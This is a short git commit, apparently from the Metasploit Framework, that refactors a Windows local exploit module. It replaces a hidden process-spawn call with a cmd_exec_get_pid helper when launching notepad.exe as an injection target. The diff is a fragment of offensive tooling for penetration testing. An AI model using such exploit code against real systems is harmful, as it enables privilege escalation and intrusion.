Use new cmd_exec_get_pid

Meatballs 2014-02-28 20:53:13 +00:00
parent 2a6258be15
commit d396be963a
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 3 additions and 3 deletions

View File

@ -181,13 +181,13 @@ class Metasploit3 < Msf::Exploit::Local
windir = expand_path("%WINDIR%").strip windir = expand_path("%WINDIR%").strip
print_status("Spawning process with Windows Publisher Certificate, to inject into...") print_status("Spawning process with Windows Publisher Certificate, to inject into...")
cmd = "#{windir}\\System32\\notepad.exe" cmd = "#{windir}\\System32\\notepad.exe"
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) pid = cmd_exec_get_pid(cmd)
if proc.nil? or proc.pid.nil? unless pid
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
end end
proc.pid pid
end end